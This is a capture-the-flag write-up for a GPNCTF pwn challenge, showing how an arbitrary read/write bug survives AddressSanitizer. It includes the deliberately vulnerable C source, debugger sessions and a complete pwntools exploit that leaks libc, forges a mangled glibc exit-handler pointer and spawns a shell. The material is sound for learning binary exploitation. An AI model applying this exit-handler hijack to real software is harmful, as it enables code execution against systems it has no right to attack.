Why even bother writing secure code when you can just enable sanitizers?
Category: pwn
Solver: nh1729
Flag: GPNCTF{all_wRI7Es_aR3_pR07Ec7Ed_By_asaN_oNLy_iN_yOUR_DR34MS_9438}
Challenge Overview
The challenge came with a source C file, a compiled binary and a Dockerfile.
$ pwn checksec nasa
[*] 'nasa'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
The code in nasa.c
is simple enough, we can interact with the program and repeatedly read/write 8 bytes at arbitrary addresses.
There is also a win
function that spawns a shell, and we get a stack address and the address of the win
function at startup.
// gcc -Og -g3 -w -fsanitize=address nasa.c -o nasa
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
void win() {
puts("YOU WIN!!!\n");
system("/bin/sh");
exit(0);
}
void provide_help(void *stack_ptr) {
printf("%p\n", stack_ptr);
printf("%p\n", &win);
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
long long option;
provide_help(&option);
while (1) {
puts("[1] Write [2] Read [3] Exit");
if (scanf("%llu", &option) != 1)
break;
if (option == 1) {
puts("8-byte adress and 8-byte data to write please (hex)");
uintptr_t addr;
uint64_t val;
scanf("%lx %lx", &addr, &val);
*((uint64_t *)addr) = val;
} else if (option == 2) {
puts("8-byte adress to read please (hex)");
uintptr_t addr;
scanf("%lx", &addr);
printf("%lx\n", *((uint64_t *)addr));
} else if (option == 3) {
puts(":wave:");
break;
} else {
puts("Invalid option");
}
}
return 0;
}
Writeup
Usually, this setup would be an easy intro pwn challenge but it is not marked a such.
This is because of the inconspicuous -fsanitize=address
in the gcc command.
man gcc
:
-fsanitize=address
Enable AddressSanitizer, a fast memory error detector. Memory access instructions are instrumented to detect out-of-bounds and use-after-free bugs. The option enables -fsanitize-address-use-after-scope. See https://github.com/google/sanitizers/wiki/AddressSanitizer for more details.
In addition to the link in the manpage, we also found this post very helpful in explaining what AddressSanitizer does and how it works.
The core idea is that for every 8 bytes a program might address, there is one byte of meta-information in so-called shadow memory that indicates if the user program can read and write to it. The compiled binary then assigns these metadata to various structures it creates and checks before every “dynamic” memory access if the target address can be read or written. For example, it can place “forbidden” memory regions around each stack variable and each heap allocation to identify linear overflows.
Many more features are enabled apart from shadow memory. However, the blog also warns us that AddressSanitizer is not meant as a security hardening measure but instead as a tool to identify memory corruption bugs during development (and fuzzing).
I built the docker container provided with the challenge and connected to it using netcat.
Then, to understand what is going on, I connected pwndbg
using sudo gdb attach `pidof nasa`
.
My first go-to approach with the setup, ignoring AddressSanitizer, would be to simply use the stack address to change the saved return address from main
to win
.
Within the process, I quickly discovered that the stack leak is not on the real stack, but also seems to be some sort of shadow stack.
pwndbg> vmmap 0x7f5e64f00020
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x7f5e64a00000 0x7f5e64b00000 rw-p 100000 0 [anon_7f5e64a00]
► 0x7f5e64cf7000 0x7f5e65800000 rw-p b09000 0 [anon_7f5e64cf7] +0x209020
0x7f5e65800000 0x7f5e66000000 ---p 800000 0 [anon_7f5e65800]
There was no obvious return addresses on this “fake” stack.
To find out more, I turned to Ghidra and loaded nasa
.
puVar4 = local_f8;
if (__asan_option_detect_stack_use_after_return != 0) {
// ### fake stack allocated here
puVar3 = (undefined8 *)__asan_stack_malloc_2(0xa0);
puVar4 = local_f8;
if (puVar3 != (undefined8 *)0x0) {
puVar4 = puVar3;
}
}
// ### put values onto the fake stack
*puVar4 = 0x41b58ab3;
puVar4[1] = "4 32 8 9 option:21 64 8 7 addr:29 96 8 6 val:30 128 8 7 addr:35";
puVar4[2] = main;
// ### fill shadow (permission) memory for fake stack
uVar5 = (ulong)puVar4 >> 3;
*(undefined4 *)(uVar5 + 0x7fff8000) = 0xf1f1f1f1;
*(undefined4 *)(uVar5 + 0x7fff8004) = 0xf2f2f200;
*(undefined4 *)(uVar5 + 0x7fff8008) = 0xf2f2f200;
*(undefined4 *)(uVar5 + 0x7fff800c) = 0xf2f2f200;
*(undefined4 *)(uVar5 + 0x7fff8010) = 0xf3f3f300;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
if (DAT_80018864 == '\0') {
setvbuf(stdin,(char *)0x0,2,0);
if (DAT_80018869 == '\0') {
setvbuf(stdout,(char *)0x0,2,0);
if (DAT_80018868 == '\0') {
setvbuf(stderr,(char *)0x0,2,0);
// ### Leak address of the fake stack.
provide_help(puVar4 + 4);
...
Apparently, the stack frame for main
lives in a totally different area from the return address because ASan allocates it fresh. In the sample, we also see where the shadow memory that determines if an address can be read and written lives: It is at (addr>>3)+0x7fff8000
.
The same is true for the read/write primitives:
if (*(char *)(((ulong)read_addr >> 3) + 0x7fff8000) == '\0') {...
I noticed that if these checks are baked into the binary, then libraries like libc do not make use of them. Thus, their own memory might not be allocated correctly.
Therefore, I pivoted to exit handlers. More information can be found in this blog.
First, I had to identify the address of the __exit_funcs
.
docker cp nasa:/usr/lib/x86_64-linux-gnu/libc.so.6 libc.so.6
pwninit --libc libc.so.6 --bin nasa
# In gdb
gdb ./nasa_pacthed
pwndbg> b *main
pwndbg> c
pwndbg> tele __exit_funcs
00:0000│ 0x7ffff78defc0 (initial) ◂— 0
01:0008│ 0x7ffff78defc8 (initial+8) ◂— 5
02:0010│ 0x7ffff78defd0 (initial+16) ◂— 4
03:0018│ 0x7ffff78defd8 (initial+24) ◂— 0x854536fb5c9c665e
pwndbg> vmmap 0x7ffff78defc0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x7ffff78d9000 0x7ffff78dd000 r--p 4000 1fe000 libc.so.6
► 0x7ffff78dd000 0x7ffff78df000 rw-p 2000 202000 libc.so.6 +0x1fc0
0x7ffff78df000 0x7ffff78ec000 rw-p d000 0 [anon_7ffff78df]
pwndbg> p/x 0x7f5e671a2fd8-0x7f5e66f9e000 # exit_funcs[0].fn - <libc address>
$1 = 0x204fd8
I saw that the exit functions are at the border between the last libc segment and the anon segment adjacent to it.
For the next steps, I would need to change one of the function pointers to the win
function. However, these pointers are mangled and I need to know an XOR key to write a valid one.
To find this key, I set a read watchpoint on one of the mangled addresses back in the container and exited the program.
pwndbg> tele 0x7f5e671a3000
00:0000│ 0x7f5e671a3000 ◂— 0
01:0008│ 0x7f5e671a3008 ◂— 0
02:0010│ 0x7f5e671a3010 ◂— 4
03:0018│ 0x7f5e671a3018 ◂— 0x6e9d47b71dece80c
04:0020│ 0x7f5e671a3020 ◂— 0
05:0028│ 0x7f5e671a3028 —▸ 0x7f5e6734a520 (__dso_handle) ◂— 0x7f5e6734a520 (__dso_handle)
06:0030│ 0x7f5e671a3030 ◂— 4
07:0038│ 0x7f5e671a3038 ◂— 0x6e9d47abf14ce80c
pwndbg> rwatch *0x7f5e671a3018
pwndbg> c
Continuing.
# Exit in nc
Hardware read watchpoint 1: *0x7f5e671a3018
Value = 502065164
0x00007f5e66fe5361 in __cxa_finalize () from target:/lib/x86_64-linux-gnu/libc.so.6
# pwndbg REGISTERS
*RAX 0x6e9d47b71dece80c
# pwndbg DISASM
► 0x7f5e66fe5361 <__cxa_finalize+161> ror rax, 0x11
0x7f5e66fe5365 <__cxa_finalize+165> xor rax, qword ptr fs:[0x30] RAX => 0x7f5e672e9fe0 (__lsan::DoLeakCheck()) (0x7406374ea3db8ef6 ^ 0x74064810c4f51116)
# Searching for the xor key 0x3e20b8a9443a8191
pwndbg> search -8 0x74064810c4f51116 libc
Searching for an 8-byte integer: b'\x16\x11\xf5\xc4\x10H\x06t'
pwndbg> search -8 0x74064810c4f51116 anon_7f
Searching for an 8-byte integer: b'\x16\x11\xf5\xc4\x10H\x06t'
[anon_7f5e66917] 0x7f5e66e86130 0x74064810c4f51116
pwndbg> vmmap 0x7f5e66e86130
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x7f5e66800000 0x7f5e66900000 rw-p 100000 0 [anon_7f5e66800]
► 0x7f5e66917000 0x7f5e66e87000 rw-p 570000 0 [anon_7f5e66917] +0x56f130
0x7f5e66e87000 0x7f5e66e8b000 r--p 4000 0 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
We see that the xor key is in a section just before some libraries. Since all of these are adjacent, I hoped the offsets would not change, so the difference between the start of libc and the address of the xor key is constant.
pwndbg> p/x 0x7f5e66f9e000-0x7f5e66e86130
$1 = 0x117ed0
To find the libc address, I wanted to leak from the GOT relative to the leaked win
pointer.
pwndbg> i addr puts@got.plt
Symbol "puts@got.plt" is at 0x5567ac5dafc8 in a file compiled without debugging.
pwndbg> tele 0x5567ac5dafc8
00:0000│ 0x5567ac5dafc8 (puts@got[plt]) —▸ 0x7f5e67203a12 (puts) ◂— jmp __interceptor_puts@plt
01:0008│ 0x5567ac5dafd0 (__asan_version_mismatch_check_v8@got.plt) —▸ 0x7f5e672baf50 (__asan_version_mismatch_check_v8) ◂— endbr64
02:0010│ 0x5567ac5dafd8 ◂— 0
... ↓ 2 skipped
05:0028│ 0x5567ac5daff0 —▸ 0x7f5e66fe52c0 (__cxa_finalize) ◂— endbr64
06:0030│ 0x5567ac5daff8 —▸ 0x7f5e66fc8200 (__libc_start_main) ◂— endbr64
07:0038│ 0x5567ac5db000 (data_start) ◂— 0
pwndbg> p/x 0x5567ac5daff8-0x5567ac5d8309 # __libc_start_main@got.plt - win
$2 = 0x2cef
Apparently, ASan also changes some libc functions to “safe” versions. For the libc leak, I chose __libc_start_main
which is not altered.
With these offsets in hand, I wrote a simple pwntools script:
from pwn import *
BINARY_NAME = './nasa'
def solve(r: remote, exe: ELF):
stack_ptr = int(r.recvline().decode(), 16)
win_ptr = int(r.recvline().decode(), 16)
def write8(addr: int, val: int):
r.sendlineafter(b'[1] Write [2] Read [3] Exit', b'1')
r.sendlineafter(b"8-byte adress and 8-byte data to write please (hex)", f'0x{addr:x} 0x{val:x}'.encode())
def read8(addr: int):
r.sendlineafter(b'[1] Write [2] Read [3] Exit', b'2')
r.sendlineafter(b"8-byte adress to read please (hex)\n", f'0x{addr:x}'.encode())
return int(r.recvline().decode(), 16)
def remote_exit():
r.sendlineafter(b'[1] Write [2] Read [3] Exit', b'3')
# read from got to leak libc
lsm_addr_addr = win_ptr + 0x2cef
lsm_addr = read8(lsm_addr_addr)
libc = ELF('./libc.so.6')
libc.address = lsm_addr - libc.sym.__libc_start_main
success(f'{libc.address=:x}')
# Read pointer protection cookie
cookie = read8(libc.address-0x117ed0)
success(f'{cookie=:x}')
def ptr_mangle(ptr): return rol(ptr ^ cookie, 0x11)
# Write mangled exit function pointer
write8(libc.address+0x204fd8, ptr_mangle(win_ptr))
remote_exit()
r.sendline(b'cat /flag')
r.interactive()
def conn():
if args.REMOTE:
r = remote("stormburg-of-ridiculous-hope.gpn23.ctf.kitctf.de", "443", ssl=True)
# r = remote("localhost", 1338, ssl=False)
elif args.GDB:
gdbscript = '''
c
'''
r = gdb.debug(context.binary.path, gdbscript=gdbscript)
else:
r = process(context.binary.path,)
return r
def main():
exe = ELF(BINARY_NAME)
context.binary = exe
r = conn()
solve(r, exe)
r.close()
if __name__ == '__main__':
main()
Output
:wave:
YOU WIN!!!
GPNCTF{all_wRI7Es_aR3_pR07Ec7Ed_By_asaN_oNLy_iN_yOUR_DR34MS_9438}
Mitigations
- The challenge clearly illustrates that AddressSanitizer is not enough to prevent an attacker from abusing a program with sufficient memory bugs. It is still crucial to write safe code.
- Instead, people can migrate to memory-safe languages like Rust, Golang or higher level languages.